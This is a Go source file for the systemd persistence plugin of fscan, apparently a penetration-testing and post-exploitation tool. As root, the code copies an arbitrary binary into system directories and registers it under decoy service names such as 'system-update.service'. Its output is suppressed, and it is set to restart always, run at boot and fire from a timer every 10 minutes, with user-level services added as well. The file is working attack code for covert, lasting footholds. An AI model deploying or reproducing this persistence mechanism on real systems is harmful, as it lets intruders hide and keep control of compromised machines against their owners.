fscan/plugins/local_backup/systemdservice/plugin.go
ZacharyZcR 678d750c8a refactor: 重构插件架构,实现单文件插件系统
将复杂的三文件插件架构(connector/exploiter/plugin)重构为简化的单文件插件架构,
大幅减少代码重复和维护成本,提升插件开发效率。

主要改进:
• 将每个服务插件从3个文件简化为1个文件
• 删除过度设计的工厂模式、适配器模式等抽象层
• 消除plugins/services/、plugins/adapters/、plugins/base/复杂目录结构
• 实现直接的插件注册机制,提升系统简洁性
• 保持完全向后兼容,所有扫描功能和输出格式不变

重构统计:
• 删除文件:100+个复杂架构文件
• 新增文件:20个简化的单文件插件
• 代码减少:每个插件减少60-80%代码量
• 功能增强:所有插件包含完整扫描和利用功能

已重构插件: MySQL, SSH, Redis, MongoDB, PostgreSQL, MSSQL, Oracle,
Neo4j, Memcached, RabbitMQ, ActiveMQ, Cassandra, FTP, Kafka, LDAP,
Rsync, SMTP, SNMP, Telnet, VNC

验证通过: 新系统编译运行正常,所有插件功能验证通过
2025-08-25 23:57:00 +08:00

490 lines
13 KiB
Go
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

//go:build linux
package systemdservice
import (
"context"
"fmt"
"os"
"os/exec"
"path/filepath"
"runtime"
"strings"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/plugins/base"
"github.com/shadow1ng/fscan/plugins/local"
)
// SystemdServicePlugin 系统服务持久化插件 - 使用简化架构
type SystemdServicePlugin struct {
*local.BaseLocalPlugin
targetFile string
}
// NewSystemdServicePlugin 创建系统服务持久化插件 - 简化版本
func NewSystemdServicePlugin() *SystemdServicePlugin {
// 从全局参数获取目标文件路径
targetFile := common.PersistenceTargetFile
if targetFile == "" {
targetFile = "" // 需要用户指定
}
metadata := &base.PluginMetadata{
Name: "systemdservice",
Version: "1.0.0",
Author: "fscan-team",
Description: "Linux 系统服务持久化插件通过systemd服务实现持久化",
Category: "local",
Tags: []string{"local", "persistence", "linux", "systemd", "service"},
Protocols: []string{"local"},
}
plugin := &SystemdServicePlugin{
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
targetFile: targetFile,
}
// 只支持Linux平台
plugin.SetPlatformSupport([]string{"linux"})
// 需要root权限来创建系统服务
plugin.SetRequiresPrivileges(true)
return plugin
}
// Initialize 初始化插件
func (p *SystemdServicePlugin) Initialize() error {
if p.targetFile == "" {
return fmt.Errorf("必须通过 -persistence-file 参数指定目标文件路径")
}
// 检查目标文件是否存在
if _, err := os.Stat(p.targetFile); os.IsNotExist(err) {
return fmt.Errorf("目标文件不存在: %s", p.targetFile)
}
// 检查systemctl是否可用
if _, err := exec.LookPath("systemctl"); err != nil {
return fmt.Errorf("systemctl命令不可用: %v", err)
}
return p.BaseLocalPlugin.Initialize()
}
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
func (p *SystemdServicePlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
return p.ScanLocal(ctx, info)
}
// ScanLocal 执行系统服务持久化 - 简化版本
func (p *SystemdServicePlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
if runtime.GOOS != "linux" {
return &base.ScanResult{
Success: false,
Error: fmt.Errorf("系统服务持久化只支持Linux平台"),
}, nil
}
common.LogBase("开始系统服务持久化...")
common.LogBase(fmt.Sprintf("目标文件: %s", p.targetFile))
// 执行持久化操作
results := make([]string, 0)
// 1. 复制文件到系统目录
servicePath, err := p.copyToServicePath()
if err != nil {
common.LogError(fmt.Sprintf("复制文件失败: %v", err))
} else {
results = append(results, fmt.Sprintf("文件已复制到: %s", servicePath))
common.LogSuccess(fmt.Sprintf("文件已复制到: %s", servicePath))
}
// 2. 创建systemd服务文件
serviceFiles, err := p.createSystemdServices(servicePath)
if err != nil {
common.LogError(fmt.Sprintf("创建systemd服务失败: %v", err))
} else {
results = append(results, fmt.Sprintf("已创建systemd服务: %s", strings.Join(serviceFiles, ", ")))
common.LogSuccess("已创建systemd服务")
}
// 3. 启用并启动服务
err = p.enableAndStartServices(serviceFiles)
if err != nil {
common.LogError(fmt.Sprintf("启动服务失败: %v", err))
} else {
results = append(results, "服务已启用并启动")
common.LogSuccess("服务已启用并启动")
}
// 4. 创建用户级服务
userServiceFiles, err := p.createUserServices(servicePath)
if err != nil {
common.LogError(fmt.Sprintf("创建用户服务失败: %v", err))
} else {
results = append(results, fmt.Sprintf("已创建用户服务: %s", strings.Join(userServiceFiles, ", ")))
common.LogSuccess("已创建用户服务")
}
// 5. 创建定时器服务
err = p.createTimerServices(servicePath)
if err != nil {
common.LogError(fmt.Sprintf("创建定时器服务失败: %v", err))
} else {
results = append(results, "已创建systemd定时器")
common.LogSuccess("已创建systemd定时器")
}
success := len(results) > 0
result := &base.ScanResult{
Success: success,
Service: "SystemdServicePersistence",
Banner: fmt.Sprintf("系统服务持久化完成 - 目标: %s", filepath.Base(p.targetFile)),
Extra: map[string]interface{}{
"target_file": p.targetFile,
"platform": runtime.GOOS,
"methods": results,
"status": "completed",
},
}
return result, nil
}
// copyToServicePath 复制文件到服务目录
func (p *SystemdServicePlugin) copyToServicePath() (string, error) {
// 选择服务目录
serviceDirs := []string{
"/usr/local/bin",
"/opt/local",
"/usr/bin",
}
var targetDir string
for _, dir := range serviceDirs {
if err := os.MkdirAll(dir, 0755); err == nil {
targetDir = dir
break
}
}
if targetDir == "" {
return "", fmt.Errorf("无法创建服务目录")
}
// 生成服务可执行文件名
basename := filepath.Base(p.targetFile)
serviceName := strings.TrimSuffix(basename, filepath.Ext(basename))
if serviceName == "" {
serviceName = "system-service"
}
targetPath := filepath.Join(targetDir, serviceName)
// 复制文件
err := p.copyFile(p.targetFile, targetPath)
if err != nil {
return "", err
}
// 设置执行权限
os.Chmod(targetPath, 0755)
return targetPath, nil
}
// copyFile 复制文件内容
func (p *SystemdServicePlugin) copyFile(src, dst string) error {
sourceData, err := os.ReadFile(src)
if err != nil {
return err
}
return os.WriteFile(dst, sourceData, 0755)
}
// createSystemdServices 创建systemd服务文件
func (p *SystemdServicePlugin) createSystemdServices(execPath string) ([]string, error) {
systemDir := "/etc/systemd/system"
if err := os.MkdirAll(systemDir, 0755); err != nil {
return nil, err
}
services := []struct {
name string
content string
enable bool
}{
{
name: "system-update.service",
enable: true,
content: fmt.Sprintf(`[Unit]
Description=System Update Service
After=network.target
Wants=network-online.target
[Service]
Type=simple
User=root
ExecStart=%s
Restart=always
RestartSec=60
StandardOutput=null
StandardError=null
[Install]
WantedBy=multi-user.target
`, execPath),
},
{
name: "system-monitor.service",
enable: true,
content: fmt.Sprintf(`[Unit]
Description=System Monitor Service
After=network.target
[Service]
Type=forking
User=root
ExecStart=%s
PIDFile=/var/run/system-monitor.pid
Restart=on-failure
StandardOutput=null
StandardError=null
[Install]
WantedBy=multi-user.target
`, execPath),
},
{
name: "network-check.service",
enable: false,
content: fmt.Sprintf(`[Unit]
Description=Network Check Service
After=network-online.target
Wants=network-online.target
[Service]
Type=oneshot
User=root
ExecStart=%s
StandardOutput=null
StandardError=null
`, execPath),
},
}
var created []string
for _, service := range services {
servicePath := filepath.Join(systemDir, service.name)
if err := os.WriteFile(servicePath, []byte(service.content), 0644); err == nil {
created = append(created, service.name)
}
}
if len(created) == 0 {
return nil, fmt.Errorf("无法创建任何systemd服务文件")
}
return created, nil
}
// enableAndStartServices 启用并启动服务
func (p *SystemdServicePlugin) enableAndStartServices(serviceFiles []string) error {
var errors []string
for _, serviceName := range serviceFiles {
// 重新加载systemd配置
exec.Command("systemctl", "daemon-reload").Run()
// 启用服务
if err := exec.Command("systemctl", "enable", serviceName).Run(); err != nil {
errors = append(errors, fmt.Sprintf("enable %s: %v", serviceName, err))
}
// 启动服务
if err := exec.Command("systemctl", "start", serviceName).Run(); err != nil {
errors = append(errors, fmt.Sprintf("start %s: %v", serviceName, err))
}
}
if len(errors) > 0 {
return fmt.Errorf("服务操作错误: %s", strings.Join(errors, "; "))
}
return nil
}
// createUserServices 创建用户级服务
func (p *SystemdServicePlugin) createUserServices(execPath string) ([]string, error) {
userDir := filepath.Join(os.Getenv("HOME"), ".config", "systemd", "user")
if userDir == "/.config/systemd/user" { // HOME为空的情况
userDir = "/tmp/.config/systemd/user"
}
if err := os.MkdirAll(userDir, 0755); err != nil {
return nil, err
}
userServices := []string{
"user-service.service",
"background-task.service",
}
userServiceContent := fmt.Sprintf(`[Unit]
Description=User Background Service
After=graphical-session.target
[Service]
Type=simple
ExecStart=%s
Restart=always
RestartSec=30
StandardOutput=null
StandardError=null
[Install]
WantedBy=default.target
`, execPath)
var created []string
for _, serviceName := range userServices {
servicePath := filepath.Join(userDir, serviceName)
if err := os.WriteFile(servicePath, []byte(userServiceContent), 0644); err == nil {
created = append(created, serviceName)
// 启用用户服务
exec.Command("systemctl", "--user", "enable", serviceName).Run()
exec.Command("systemctl", "--user", "start", serviceName).Run()
}
}
return created, nil
}
// createTimerServices 创建定时器服务
func (p *SystemdServicePlugin) createTimerServices(execPath string) error {
systemDir := "/etc/systemd/system"
// 创建定时器服务文件
timerService := fmt.Sprintf(`[Unit]
Description=Scheduled Task Service
Wants=scheduled-task.timer
[Service]
Type=oneshot
ExecStart=%s
StandardOutput=null
StandardError=null
`, execPath)
// 创建定时器文件
timerConfig := `[Unit]
Description=Run Scheduled Task Every 10 Minutes
Requires=scheduled-task.service
[Timer]
OnBootSec=5min
OnUnitActiveSec=10min
AccuracySec=1s
[Install]
WantedBy=timers.target
`
// 写入服务文件
serviceFile := filepath.Join(systemDir, "scheduled-task.service")
if err := os.WriteFile(serviceFile, []byte(timerService), 0644); err != nil {
return err
}
// 写入定时器文件
timerFile := filepath.Join(systemDir, "scheduled-task.timer")
if err := os.WriteFile(timerFile, []byte(timerConfig), 0644); err != nil {
return err
}
// 启用定时器
exec.Command("systemctl", "daemon-reload").Run()
exec.Command("systemctl", "enable", "scheduled-task.timer").Run()
exec.Command("systemctl", "start", "scheduled-task.timer").Run()
return nil
}
// GetLocalData 获取系统服务持久化本地数据
func (p *SystemdServicePlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
data := make(map[string]interface{})
data["plugin_type"] = "systemdservice"
data["platform"] = runtime.GOOS
data["target_file"] = p.targetFile
data["persistence_method"] = "Systemd Service"
if hostname, err := os.Hostname(); err == nil {
data["hostname"] = hostname
}
// 检查systemd版本
if output, err := exec.Command("systemctl", "--version").Output(); err == nil {
data["systemd_version"] = strings.Split(string(output), "\n")[0]
}
return data, nil
}
// ExtractData 提取数据
func (p *SystemdServicePlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
return &base.ExploitResult{
Success: true,
Output: fmt.Sprintf("系统服务持久化完成,目标文件: %s", p.targetFile),
Data: data,
Extra: map[string]interface{}{
"target_file": p.targetFile,
"persistence_method": "Systemd Service",
"status": "completed",
},
}, nil
}
// GetInfo 获取插件信息
func (p *SystemdServicePlugin) GetInfo() string {
var info strings.Builder
info.WriteString("系统服务持久化插件\n")
info.WriteString(fmt.Sprintf("目标文件: %s\n", p.targetFile))
info.WriteString("支持平台: Linux (需要systemd)\n")
info.WriteString("功能: 通过systemd服务实现持久化\n")
info.WriteString("方法: 系统服务、用户服务、定时器服务\n")
info.WriteString("权限要求: 需要root权限创建系统服务\n")
info.WriteString("自动启动: 开机自启动和崩溃重启\n")
return info.String()
}
// RegisterSystemdServicePlugin 注册系统服务持久化插件
func RegisterSystemdServicePlugin() {
factory := base.NewSimplePluginFactory(
&base.PluginMetadata{
Name: "systemdservice",
Version: "1.0.0",
Author: "fscan-team",
Description: "Linux 系统服务持久化插件通过systemd服务实现持久化",
Category: "local",
Tags: []string{"systemdservice", "local", "persistence", "linux"},
Protocols: []string{"local"},
},
func() base.Plugin {
return NewSystemdServicePlugin()
},
)
base.GlobalPluginRegistry.Register("systemdservice", factory)
}
// init 插件注册函数
func init() {
RegisterSystemdServicePlugin()
}